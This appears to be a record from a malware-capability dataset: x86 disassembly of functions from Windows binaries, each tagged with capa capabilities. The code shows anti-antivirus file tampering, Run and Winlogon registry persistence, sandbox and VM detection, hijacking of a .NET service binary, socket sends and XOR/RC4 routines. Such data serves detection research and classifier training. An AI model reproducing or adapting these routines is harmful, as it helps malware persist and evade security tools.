joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
xor esi, esi
push ebx
push 0x80000080
push 3
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402554
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x60]
push 0x28
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push ebx
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402560
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402645
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402590
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
or cl, cl
jne 0x4025b0
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x40c5f8]
mov dword [eax], ecx
mov ecx, dword [0x40c5fc]
mov dword [eax + 4], edx
mov ebx, dword [0x40c600]
mov dword [eax + 8], ecx
mov ecx, dword [0x40c604]
mov dword [eax + 0xc], ebx
mov bl, byte [0x40c608]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], bl
lea ebx, [ebp - 0x208]
dec ebx
mov cl, byte [ebx + 1]
inc ebx
test cl, cl
jne 0x4025f4
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x40c610]
mov dword [ebx], ecx
mov ecx, dword [0x40c614]
mov dword [ebx + 4], edx
mov edx, dword [0x40c618]
mov dword [ebx + 8], ecx
mov ecx, dword [0x40c61c]
mov dword [ebx + 0xc], edx
mov dl, byte [0x40c620]
mov dword [ebx + 0x10], ecx
mov byte [ebx + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402650
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402780
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402682
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x40c628]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x40c62c]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x40c630]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x40c634]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40277f
push ebx
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call edi
push 0
push 0
push 0xb98
push esi
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call edi
push 0
push 0
push 0x17e4
push esi
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call edi
push 0
push 0
push 0x17dc
push esi
call ebx
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call edi
push 0
push 0
push 0x3380
push esi
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402a50
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x4094e4
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x402b1d
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4094d4
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
lea ecx, [ebp - 0x10c]
push 0
lea eax, [ebp - 8]
push 0
push 0
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x4094e0
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b00
lea ecx, [ebp - 0x10c]
sub eax, edx
inc eax
mov edx, dword [ebp - 4]
push eax
push esi
push 1
push 0
push ecx
push edx
jmp 0x402b5e
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x40951c
push closesocket
call edi
test eax, eax
jne 0x402b64
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b45
sub eax, edx
mov ecx, dword [ebp - 4]
inc eax
push eax
push esi
push 1
push 0
push 0x40954c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x402b7d
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402e00
Capabilities:
Check if file exists
Copy file
Delete file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push esi
push edi
push 0x4094c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call edi
call fcn.00403b50
or eax, eax
je 0x402e3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004022e0
call fcn.004021f0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402e72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402470
call fcn.00402560
call fcn.00402650
call fcn.00402790
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call esi
or eax, eax
jne 0x402f1c
call fcn.00401fb0
test eax, eax
je 0x402ea7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
call edi
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
je 0x402f0b
push 0
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
je 0x402f0b
push 1
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402f0b
call fcn.00403000
or eax, eax
je 0x402f0b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00403690
test eax, eax
je 0x402f1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call esi
push 0x4094b8
mov edi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or eax, eax
je 0x402f55
push 0x40c350
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402f55
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x402fad
test edi, edi
je 0x402f75
push str._apppatch_
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
or eax, eax
je 0x402fa1
lea esi, [ebp - 0x108]
call fcn.00402a50
push 1
push 0x4d000
push 0x40f0d8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401780
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402fe8
call fcn.00402b90
call fcn.004011d0
jmp 0x402fe8
test edi, edi
je 0x402fd8
push str._apppatch_
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x402fd8
call fcn.00402b90
call fcn.004029e0
call fcn.004011d0
jmp 0x402fe8
lea esi, [ebp - 0x108]
call fcn.00402a50
call fcn.004029e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403000
Capabilities:
Query service status
Start service

Disassembly:
push edi
mov edi, esp
sub esp, 0x2c
push ebp
push esi
xor eax, eax
xor esi, esi
push 0xf003f
push esi
push esi
xor ebp, ebp
mov dword [edi - 0x2c], esi
mov dword [edi - 0x28], eax
mov dword [edi - 0x24], eax
mov dword [edi - 0x20], eax
mov dword [edi - 0x1c], eax
mov dword [edi - 0x18], eax
mov dword [edi - 0x14], eax
mov dword [edi - 0x10], eax
mov dword [edi - 0xc], eax
mov dword [edi - 4], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [edi - 8], eax
cmp eax, esi
je 0x4030b1
push ebx
push 0x10
push str..NET_Runtime_Optimization_Service_v2.0.50727_X86
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, esi
je 0x4030a6
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebp, eax
cmp ebp, esi
je 0x40309f
lea eax, [edi - 4]
push eax
push 0x24
lea ecx, [edi - 0x2c]
push ecx
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov ebp, eax
test ebp, ebp
je 0x403096
cmp dword [edi - 0x28], 4
je 0x40309a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x403064
jmp 0x40309f
xor ebp, ebp
jmp 0x40309f
mov ebp, 1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [edi - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
pop esi
mov eax, ebp
pop ebp
mov esp, edi
pop edi
ret
Function at 0x4035f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x9c]
sub esp, 0x9c
push esi
push eax
mov dword [ebp - 4], 0
mov esi, 0x80004005
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40367d
cmp dword [ebp - 0x8c], 2
jne 0x40367d
cmp dword [ebp - 0x98], 6
jb 0x40367d
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40367d
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x403673
cmp dword [ebp - 8], 4
jne 0x403673
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403b50
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push edi
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403bfd
lea edx, [ebp - 0x61c]
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x10]
push ecx
push edx
push eax
push 0
push str.SystemBiosVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403bcb
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403bfd
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x61c], 0x51
jne 0x403bfd
cmp byte [ebp - 0x61b], 0x45
jne 0x403bfd
cmp byte [ebp - 0x61a], 0x4d
jne 0x403bfd
cmp byte [ebp - 0x619], 0x55
je 0x403d15
push esi
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x21c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x21c]
push str.SANDBOX
push eax
call esi
add esp, 8
test eax, eax
jne 0x403d14
lea ecx, [ebp - 0x21c]
push str.MALNETVM
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403d14
lea edx, [ebp - 0x21c]
push str.VIRUSCLONE
push edx
call esi
add esp, 8
test eax, eax
jne 0x403d14
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea edx, [ebp - 0x118]
push 0
lea ecx, [ebp - 8]
push 0
push 0
push 0
push ecx
push 0
push 0
push edx
mov byte [ebp - 0x115], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
cmp eax, 0xcd1a40
je 0x403d14
cmp eax, 0x6cbbc508
je 0x403d14
cmp eax, 0x774e1682
je 0x403d14
cmp eax, 0x837f873e
je 0x403d14
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._sand_box_
lea ecx, [ebp - 0x118]
push ecx
call esi
test eax, eax
jne 0x403d14
push str.cwsandbox_
lea edx, [ebp - 0x118]
push edx
call esi
test eax, eax
jne 0x403d14
push str._sandbox_
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
jne 0x403d14
xor edi, edi
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4043c0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test ebx, ebx
mov edi, dword [eax + 0x14]
mov dword [ebp + 0xc], 0
jle 0x404478
mov ecx, dword [ebp + 8]
push 0
push ebx
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jle 0x4043fc
add dword [ebp + 8], esi
sub ebx, esi
jmp 0x404470
je 0x404486
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x404470
cmp eax, 0x2733
jne 0x404491
lea eax, [ebp - 0x110]
xor esi, esi
lea edx, [ebp - 8]
push edx
push esi
lea ecx, [edi + 1]
push eax
push esi
push ecx
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x110], 1
mov dword [ebp - 8], 5
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, esi
jl 0x40447d
jne 0x40446d
mov eax, dword [ebp + 0xc]
add eax, 0x1388
cmp eax, 0x4e20
mov dword [ebp + 0xc], eax
jl 0x404470
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [ebp + 0xc], esi
test ebx, ebx
jg 0x4043e1
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x406880
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x2c]
mov dword [ebp - 8], edi
jmp 0x406893
mov edi, dword [ebp - 8]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
mov ebx, dword [esi + 0x3c]
sub ebx, dword [esi + 0x74]
lea edx, [edi + ecx - 0x106]
sub ebx, eax
mov dword [ebp - 4], ebx
cmp eax, edx
jb 0x40690d
mov eax, dword [esi + 0x38]
lea ecx, [eax + edi]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov edx, dword [esi + 0x4c]
mov eax, dword [esi + 0x44]
lea ecx, [eax + edx*2]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x4068e1
sub eax, edi
jmp 0x4068e3
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x4068d2
mov edx, edi
mov ecx, dword [esi + 0x40]
lea ecx, [ecx + edi*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x406900
sub eax, edi
jmp 0x406902
xor eax, eax
mov word [ecx], ax
dec edx
jne 0x4068f1
add ebx, edi
mov dword [ebp - 4], ebx
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x406a1b
mov ecx, dword [edi + 4]
mov eax, dword [esi + 0x74]
mov edx, dword [ebp - 4]
add eax, dword [esi + 0x6c]
add eax, dword [esi + 0x38]
mov ebx, ecx
mov dword [ebp - 0xc], eax
cmp ebx, edx
jbe 0x406933
mov ebx, edx
test ebx, ebx
je 0x406968
sub ecx, ebx
mov edx, dword [edi + 0x1c]
mov dword [edi + 4], ecx
cmp dword [edx + 0x18], 1
jne 0x406956
mov eax, dword [edi]
mov ecx, dword [edi + 0x30]
push ebx
call fcn.00408b40
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
push ebx
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add dword [edi], ebx
add esp, 0xc
add dword [edi + 8], ebx
add dword [esi + 0x74], ebx
mov ebx, dword [esi + 0x74]
cmp ebx, 3
jb 0x406990
mov ecx, dword [esi + 0x58]
mov edx, dword [esi + 0x6c]
add edx, dword [esi + 0x38]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x4069a4
mov edx, dword [esi]
cmp dword [edx + 4], 0
jne 0x406890
mov eax, dword [esi + 0x16c0]
mov ecx, dword [esi + 0x3c]
cmp eax, ecx
jae 0x406a1b
mov edi, dword [esi + 0x6c]
add edi, ebx
cmp eax, edi
jae 0x4069ea
sub ecx, edi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x4069cb
mov ebx, 0x102
mov eax, dword [esi + 0x38]
add eax, edi
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
add ebx, edi
pop edi
mov dword [esi + 0x16c0], ebx
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [edi + 0x102]
cmp eax, edx
jae 0x406a1b
sub edi, eax
add edi, 0x102
sub ecx, eax
cmp edi, ecx
jbe 0x406a04
mov edi, ecx
mov ecx, dword [esi + 0x38]
push edi
add ecx, eax
push 0
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
add dword [esi + 0x16c0], edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408e60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
xor eax, 0xffffffff
test esi, esi
mov edx, dword [ebp + 8]
je 0x408e89
xor al, byte [edx]
movzx ecx, al
shr eax, 8
mov ecx, dword [ecx*4 + 0x40e100]
inc edx
xor eax, ecx
dec esi
jne 0x408e74
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40b05c], 1
mov dword [0x40b058], 1
mov dword [0x40b054], 1
mov dword [0x40b04c], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40b00c], eax
mov eax, dword [0x40b068]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40b07c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40b064]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40701c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x401b70
Capabilities:
Resolve dns

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [esp + 0x40]
mov eax, dword [edi]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
mov eax, dword [0x40b03c]
sub esp, 4
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 4]
sub esp, 8
mov dword [esp + 4], eax
mov eax, dword [edi + 0xc]
mov dword [esp], eax
call sym._ConnectionManager_GetConnectionById
test eax, eax
je 0x401c76
cmp dword [eax + 4], 3
mov ebx, eax
je 0x401c20
mov eax, 5
test esi, esi
je 0x401be7
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebx + 0x14], eax
mov eax, 2
mov word [ebx + 0x10], ax
mov eax, 4
mov dword [ebx + 4], eax
mov eax, dword [0x40b03c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [edi + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], edi
call sym._free
add esp, 0x2c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 4
mov eax, dword [edi + 4]
mov dword [esp + 4], eax
mov eax, dword [edi + 0xc]
mov dword [esp], eax
call sym._ConnectionManager_CloseConnectionById
test eax, eax
jne 0x401c76
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0x10]
mov edx, dword [edi + 0x14]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov ebp, dword [edi + 4]
mov dword [esp + 0xc], 9
mov dword [esp + 0x10], ebp
mov dword [esp + 8], ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._Send_Ica_GenericPacket
test eax, eax
je 0x401bc6
mov dword [esp], 1
call sym._exit
lea esi, [esi]
lea esi, [esi]
Function at 0x402360
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov eax, 0x64
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x2c], 0
cmp dword [ebx], 0x64
cmovle eax, dword [ebx]
mov edi, eax
mov eax, dword [esp + 0x58]
test eax, eax
je 0x402458
mov eax, dword [esp + 0x58]
mov dword [esp + 0x1c], 0
xor esi, esi
mov dword [eax], 0
jmp 0x4023c0
mov dword [esp + 4], ebp
add esi, ebp
mov dword [esp], ebx
call sym._SocketQueue_Dequeue
mov eax, dword [esp + 0x58]
mov dword [esp + 0x1c], ebp
mov dword [eax], esi
mov dword [esp], ebx
call sym._SocketQueue_IsEmpty
test eax, eax
jne 0x402448
lea eax, [esp + 0x2c]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], ebx
call sym._SocketQueue_GetN
mov dword [esp + 0xc], 0
movzx eax, ax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov ebp, eax
cmp eax, 0xffffffff
jne 0x4023a8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2714
cmp eax, 0x3d
ja 0x402438
movsx eax, byte [eax + 0x4082e0]
test eax, eax
jne 0x40243d
mov ebp, dword [esp + 0x1c]
jmp 0x4023a8
mov eax, 0xffffff92
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x3c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
xor esi, esi
jmp 0x40246e
mov dword [esp + 4], ebp
mov esi, ebp
mov dword [esp], ebx
call sym._SocketQueue_Dequeue
mov dword [esp], ebx
call sym._SocketQueue_IsEmpty
test eax, eax
jne 0x402448
lea eax, [esp + 0x2c]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], ebx
call sym._SocketQueue_GetN
mov dword [esp + 0xc], 0
movzx eax, ax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov ebp, eax
cmp eax, 0xffffffff
jne 0x402460
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2714
cmp eax, 0x3d
ja 0x402438
movsx eax, byte [eax + 0x4082e0]
test eax, eax
jne 0x40243d
mov ebp, esi
jmp 0x402460